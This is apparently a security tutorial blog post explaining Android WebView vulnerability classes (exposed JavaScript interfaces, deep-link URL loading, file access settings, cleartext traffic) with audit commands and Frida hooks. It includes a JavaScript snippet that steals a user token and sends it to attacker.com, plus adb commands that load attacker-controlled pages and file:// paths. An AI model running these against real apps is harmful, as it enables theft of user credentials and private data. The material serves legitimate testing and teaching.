Android WebView Security: Finding and Exploiting WebView Vulnerabilities

Mobile API security testing — cyberpunk backend illustration

WebView vulnerabilities are among the most impactful bugs you can find in Android apps. A single misconfigured WebView can give an attacker JavaScript execution inside the app, access to native Android APIs, content theft from other origins, and in the worst cases, remote code execution on the device. Yet WebView security is frequently overlooked during development because the attack surface is not obvious.

This guide covers every major WebView vulnerability class, how to identify them, and how to exploit them — based on patterns seen in real app security audits and bug bounty reports.

Understanding Android WebView Architecture

WebView is a component that renders web content inside an Android app. It uses the same Blink rendering engine as Chrome. From a security perspective, there are three things that make WebViews dangerous:

  1. JavaScript interfaces — bridges that expose native Android code to JavaScript running in the WebView
  2. URL loading — which URLs the WebView will load and whether they receive native capabilities
  3. Security settings — by default, some dangerous settings are enabled; developers need to explicitly disable them

Vulnerability 1: Exposed JavaScript Interface

Severity: Critical

The most dangerous WebView vulnerability. When a developer calls addJavascriptInterface(), they expose a Java object to JavaScript. Any JavaScript running in the WebView — including JavaScript from attacker-controlled pages — can call the methods of that object.

Identifying in Code

bash — webview-audit
# Vulnerable code pattern
webView.addJavascriptInterface(new AppBridge(), “AndroidBridge”);
# The bridge class – fully accessible from JS
public class AppBridge {
@JavascriptInterface
public String getUserToken() {
return sharedPrefs.getString(“user_token”, “”);
}
@JavascriptInterface
public void sendRequest(String url, String data) {
# Makes HTTP request with app credentials
}
}

Exploitation

If the WebView loads attacker-controlled content (via deep link, MITM, or URL injection), the attacker can call all exposed methods:

// Attacker-controlled JavaScript running in the WebView
var token = AndroidBridge.getUserToken();
// Exfiltrate the token to attacker server
fetch("https://attacker.com/steal?t=" + token);

On Android 4.1 and below, addJavascriptInterface() was exploitable via reflection to achieve arbitrary code execution. Post-4.2, only methods annotated with @JavascriptInterface are exposed — but those methods can still be extremely dangerous if they touch sensitive data or functionality.

Testing

javascript — frida-webview
# Search decompiled code for JavaScript interface usage
grep -r “addJavascriptInterface” –include=”*.java” .
# With Frida, enumerate all registered interfaces at runtime
Java.perform(function() {
var WebView = Java.use(“android.webkit.WebView”);
WebView.addJavascriptInterface.implementation = function(obj, name) {
console.log(“[*] JS Interface added: name=” + name + ” class=” + obj.getClass().getName());
this.addJavascriptInterface(obj, name);
};
});

Vulnerability 2: Arbitrary URL Loading via Deep Links

Severity: High

If an app accepts URLs via deep links (intent-filter with custom scheme or http/https) and loads them directly in a WebView that has JavaScript interfaces, an attacker can craft a deep link that loads malicious JavaScript.

Vulnerable Pattern

// Activity handles deep links like myapp://open?url=https://...
protected void onCreate(Bundle savedInstanceState) {
    Uri data = getIntent().getData();
    String url = data.getQueryParameter("url");  // Attacker-controlled
    webView.loadUrl(url);  // Loaded directly with JS interfaces active
}

Exploitation

# Attack: craft a deep link that loads attacker-controlled JS
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://open?url=https://attacker.com/payload.html"

# payload.html on attacker server:
# 

Testing with ADB

# Find deep link scheme from manifest
grep -i "scheme\|host\|pathPrefix" AndroidManifest.xml

# Test with various URL inputs via ADB
adb shell am start -a android.intent.action.VIEW -d "yourscheme://path?url=javascript:alert(1)"
adb shell am start -a android.intent.action.VIEW -d "yourscheme://path?url=https://evil.com"
adb shell am start -a android.intent.action.VIEW -d "yourscheme://path?url=file:///data/data/com.target.app/shared_prefs/"

Vulnerability 3: File Access and Local File Inclusion

Severity: High to Critical

Several WebView settings control access to local files:

// These settings are ON by default — often left enabled unintentionally
webView.getSettings().setAllowFileAccess(true);              // Access file:// URLs
webView.getSettings().setAllowFileAccessFromFileURLs(true);  // JS from file:// can read other files
webView.getSettings().setAllowUniversalAccessFromFileURLs(true); // JS from file:// can access any origin

With setAllowUniversalAccessFromFileURLs(true), JavaScript loaded from a local file can make cross-origin requests — including to http://localhost endpoints, or to other file:// paths.

Attack Scenario

If the app loads attacker-controlled HTML into the WebView (even temporarily), and universal file access is enabled, the attacker can steal app data:


Checking File Access Settings

// Search in decompiled code
grep -r "AllowFileAccess\|AllowUniversalAccess\|setAllowFile" --include="*.java" .

// Dynamic check with Frida
Java.perform(function() {
    var WebSettings = Java.use("android.webkit.WebSettings");
    WebSettings.setAllowUniversalAccessFromFileURLs.implementation = function(flag) {
        console.log("[*] setAllowUniversalAccessFromFileURLs: " + flag);
        this.setAllowUniversalAccessFromFileURLs(flag);
    };
    WebSettings.setAllowFileAccessFromFileURLs.implementation = function(flag) {
        console.log("[*] setAllowFileAccessFromFileURLs: " + flag);
        this.setAllowFileAccessFromFileURLs(flag);
    };
});

Vulnerability 4: Cleartext Traffic and Mixed Content

Severity: Medium

WebViews that load HTTP content (not HTTPS) are vulnerable to MITM attacks. An attacker on the same network can inject JavaScript, steal session cookies, or serve malicious content. Check for:

// Cleartext loading enabled
webView.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);

// Or in AndroidManifest.xml
android:usesCleartextTraffic="true"

Combined with a JS interface, MITM-injected JavaScript can call any exposed native method.

Vulnerability 5: WebView Content Provider Exposure

Severity: Medium to High

Some apps expose content:// URLs to WebViews, which can expose internal app content to loaded web pages:

// Check if content:// access is enabled (default: false, good)
webView.getSettings().setAllowContentAccess(true);  // Risky if also loading remote content

If setAllowContentAccess(true) is set and the WebView loads attacker-controlled HTML, the attacker can read content provider data via content:// URLs from JavaScript.

Testing WebViews with Frida

A useful monitoring script that logs all WebView activity:

Java.perform(function() {
    var WebView = Java.use("android.webkit.WebView");

    // Log all URLs loaded
    WebView.loadUrl.overload("java.lang.String").implementation = function(url) {
        console.log("[WebView] loadUrl: " + url);
        this.loadUrl(url);
    };

    // Log JavaScript evaluation
    WebView.evaluateJavascript.implementation = function(script, callback) {
        console.log("[WebView] evaluateJavascript: " + script.substring(0, 200));
        this.evaluateJavascript(script, callback);
    };

    // Log JS interface registration
    WebView.addJavascriptInterface.implementation = function(obj, name) {
        console.log("[WebView] addJavascriptInterface: " + name + " -> " + obj.getClass().getName());

        // Enumerate methods of the interface
        var methods = obj.getClass().getDeclaredMethods();
        methods.forEach(function(method) {
            var annotations = method.getDeclaredAnnotations();
            for (var i = 0; i < annotations.length; i++) {
                if (annotations[i].toString().indexOf("JavascriptInterface") !== -1) {
                    console.log("  [+] Exposed method: " + method.getName());
                }
            }
        });

        this.addJavascriptInterface(obj, name);
    };

    // Log WebView settings changes
    var WebSettings = Java.use("android.webkit.WebSettings");
    WebSettings.setJavaScriptEnabled.implementation = function(flag) {
        console.log("[WebView] JavaScript enabled: " + flag);
        this.setJavaScriptEnabled(flag);
    };
});

Practical Testing Checklist

Run through this checklist for every WebView you find in a target app:

  • Does it have addJavascriptInterface()? If yes — what methods are exposed and are they sensitive?
  • Does the WebView load attacker-controllable URLs? (via deep links, intents, query params)
  • Is setAllowUniversalAccessFromFileURLs(true) set?
  • Is setAllowFileAccessFromFileURLs(true) set?
  • Does it load HTTP (not HTTPS) content?
  • Is setMixedContentMode(MIXED_CONTENT_ALWAYS_ALLOW) set?
  • Is setAllowContentAccess(true) set with remote content loading?
  • Does it override shouldOverrideUrlLoading in a way that could be abused?

Real-World Bug Bounty Patterns

WebView vulnerabilities appear regularly in bug bounty programs. The most common high-payout reports combine:

  • Deep link + JS interface: app exposes deep link that loads any URL in a WebView that has a sensitive JS interface → attacker can steal user tokens by getting victim to click a link
  • Open redirect + JS interface: app’s web backend has an open redirect that redirects to attacker.com → app loads this redirect URL in WebView with JS interface → attacker controls loaded JavaScript
  • File:// loading with universal access: app accepts file:// URLs via intent and loads in WebView with universal file access → attacker can read all app private files

The impact multiplier is always the JavaScript interface. A WebView that loads external URLs but has no JS interface is much lower risk than one that does. Assess impact based on what the exposed interface can do, not just the fact that external content is loaded.

Using Djini.ai for WebView Endpoint Discovery

WebView vulnerabilities often involve backend endpoints (OAuth redirects, deep link handlers, web-to-native bridges). Djini.ai can map these API endpoints and test for open redirects and parameter injection that could be chained with WebView vulnerabilities for higher-impact attacks.


Practice Android WebView security testing. Mobile Hacking Lab includes WebView labs covering JavaScript interface exploitation, file access vulnerabilities, and deep link chaining. Start free at mobilehackinglab.com.